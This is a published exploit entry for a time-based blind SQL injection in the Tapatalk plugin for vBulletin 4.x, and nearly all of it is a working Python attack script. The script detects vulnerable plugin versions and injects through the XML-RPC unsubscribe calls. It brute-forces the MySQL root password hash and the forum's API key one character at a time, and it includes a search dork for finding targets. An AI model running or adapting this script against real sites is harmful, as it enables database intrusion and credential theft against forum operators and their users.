vBulletin 4.x Tapatalk Blind SQL Injection

2014.10.28
Credit: tintinweb
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

#!/usr/bin/env python # -*- coding: utf-8 -*- ''' @author: tintinweb 0x721427D8 ''' import urllib2, urllib import xmlrpclib,re, urllib2,string,itertools,time from distutils.version import LooseVersion class Exploit(object): def __init__(self, target, debug=0 ): self.stopwatch_start=time.time() self.target = target self.path = target self.debug=debug if not self.target.endswith("mobiquo.php"): self.path = self.detect_tapatalk() if not self.path: raise Exception("Could not detect tapatalk or version not supported!") self.rpc_connect() self.attack_func = self.attack_2 def detect_tapatalk(self): # request page, check for tapatalk banner handlers = [ urllib2.HTTPHandler(debuglevel=self.debug), urllib2.HTTPSHandler(debuglevel=self.debug), ] ua = urllib2.build_opener(*handlers) ua.addheaders = [('User-agent', 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3')] data = ua.open(self.target).read() if self.debug: print data if not "tapatalkDetect()" in data: print "[xx] could not detect tapatalk. bye..." return None # extract tapatalk version print "[ i] Taptalk detected ... ", path = "".join(re.findall(r"^\s*<link href=[\s'\"]?(http://.*?/)smartbanner/appbanner.css", data, re.MULTILINE|re.DOTALL)) path+="mobiquo.php" print "'%s' ... "%path, data = urllib.urlopen(path).read() version = "".join(re.findall(r"Current Tapatalk plugin version:\s*([\d\.a-zA-Z]+)", data)) if LooseVersion(version) <= LooseVersion("5.2.1"): print "v.%s :) - OK"%version return path print "v.%s :( - not vulnerable"%version return None def rpc_connect(self): self.rpc = xmlrpclib.ServerProxy(self.path,verbose=self.debug) def attack_1(self, sqli, sleep=2): ''' SELECT subscribethreadid FROM subscribethread AS subscribethread LEFT JOIN user AS user ON (user.userid=subscribeforum.userid) WHERE subscribethreadid = <INJECTION> AND subscribethreadid.userid = 0"; <INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE ''' query = "-1 union %s and ( select sleep(%s) ) "%(sqli,sleep) query += "union select subscribethreadid from subscribethread where 1=1 OR 1=1" # fix query for "AND subscribeforum.userid=0" if self.debug: print """ SELECT subscribethreadid FROM subscribethread AS subscribethread LEFT JOIN user AS user ON (user.userid=subscribethread.userid) WHERE subscribethreadid = %s AND subscribethread.userid = 0"""%query return self.rpc.unsubscribe_topic("s_%s"%query) #no escape, invalid_char="_" def attack_2(self, sqli, sleep=2): ''' SELECT subscribeforumid FROM subscribeforum AS subscribeforum LEFT JOIN user AS user ON (user.userid=subscribeforum.userid) WHERE subscribeforumid = <INJECTION> AND subscribeforum.userid = 0"; <INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE ''' query = "-1 union %s and ( select sleep(%s) ) "%(sqli,sleep) query += "union select subscribeforumid from subscribeforum where 1=1 OR 1=1" # fix query for "AND subscribeforum.userid=0" if self.debug: print """ SELECT subscribeforumid FROM subscribeforum AS subscribeforum LEFT JOIN user AS user ON (user.userid=subscribeforum.userid) WHERE subscribeforumid = %s AND subscribeforum.userid = 0"""%query return self.rpc.unsubscribe_forum("s_%s"%query) #no escape, invalid_char="_" def attack_blind(self,sqli,sleep=2): return self.attack_func(sqli,sleep=sleep) #return self.attack_func("-1 OR subscribethreadid = ( %s AND (select sleep(4)) ) UNION SELECT 'aaa' FROM subscribethread WHERE subscribethreadid = -1 OR 1 "%sqli) def attack_blind_guess(self,query, column, charset=string.ascii_letters+string.digits,maxlength=32, sleep=2, case=True): ''' provide <query> = select -1 from user where user='debian-sys-maint' where <COLUMN> <GUESS> ''' hit = False # PHASE 1 - guess entry length print "[ ] trying to guess length ..." for guess_length in xrange(maxlength+1): q = query.replace("<COLUMN>","length(%s)"%column).replace("<GUESS>","= %s"%guess_length) self.stopwatch() self.attack_blind(q, sleep) duration = self.stopwatch() print ".", if duration >= sleep-sleep/8: # HIT! - got length! => guess_length hit = True print "" break if not hit: print "[ !!] unable to guess password length, check query!" return None print "[ *] LENGTH = %s"%guess_length # PHASE 2 - guess password up to length print "[ ] trying to guess value ..." hits = 0 result = "" for pos in xrange(guess_length): # for each char pos in up to guessed length for attempt in self.bruteforce(charset, 1): # probe all chars in charset #attempt = re.escape(attempt) if attempt == "%%": attempt= "\%" #LIKE binary = case sensitive.might be better to do caseinsensitive search + recheck case with binary q = query.replace("<COLUMN>",column).replace("<GUESS>","LIKE '%s%s%%' "%(result,attempt)) self.stopwatch() self.attack_blind(q, sleep) duration = self.stopwatch() #print result,attempt," ",duration print ".", if duration >= sleep-sleep/8: if case: # case insensitive hit - recheck case: this is drastically reducing queries needed. q = query.replace("<COLUMN>",column).replace("<GUESS>","LIKE binary '%s%s%%' "%(result,attempt.lower())) self.stopwatch() self.attack_blind(q, sleep) duration = self.stopwatch() if duration >= sleep-sleep/8: attempt = attempt.lower() else: attempt = attempt.upper() # case sensitive - end # HIT! - got length! => guess_length hits += 1 print "" print "[ +] HIT! - %s[%s].."%(result,attempt) result += attempt break if not hits==guess_length: print "[ !!] unable to guess password length, check query!" return None print "[ *] SUCCESS!: query: %s"%(query.replace("<COLUMN>",column).replace("<GUESS>","='%s'"%result)) return result def bruteforce(self, charset, maxlength): return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(charset, repeat=i) for i in range(1, maxlength + 1))) def stopwatch(self): stop = time.time() diff = stop - self.stopwatch_start self.stopwatch_start=stop return diff if __name__=="__main__": #googledork: https://www.google.at/search?q=Tapatalk+Banner+head+start DEBUG = False TARGET = "http://TARGET/vbb4/forum.php" x = Exploit(TARGET,debug=DEBUG) print "[ ] TAPATALK for vBulletin 4.x - SQLi" print "[--] Target: %s"%TARGET if DEBUG: print "[--] DEBUG-Mode!" print "[ +] Attack - sqli" query = u"-1 UNION SELECT 1%s"%unichr(0) if DEBUG: print u""" SELECT subscribeforumid FROM subscribeforum AS subscribeforum LEFT JOIN user AS user ON (user.userid=subscribeforum.userid) WHERE subscribeforumid = %s AND subscribeforum.userid = 0"""%query print "[ *] guess mysql user/pass" print x.attack_blind_guess("select -1 from mysql.user where user='root' and <COLUMN> <GUESS>", column="password", charset="*"+string.hexdigits, maxlength=45) # usually 40 chars + 1 (*) print "[ *] guess apikey" print x.attack_blind_guess("select -1 from setting where varname='apikey' and <COLUMN> <GUESS>", column='value', charset=string.ascii_letters+string.digits, maxlength=14, ) print "-- done --"


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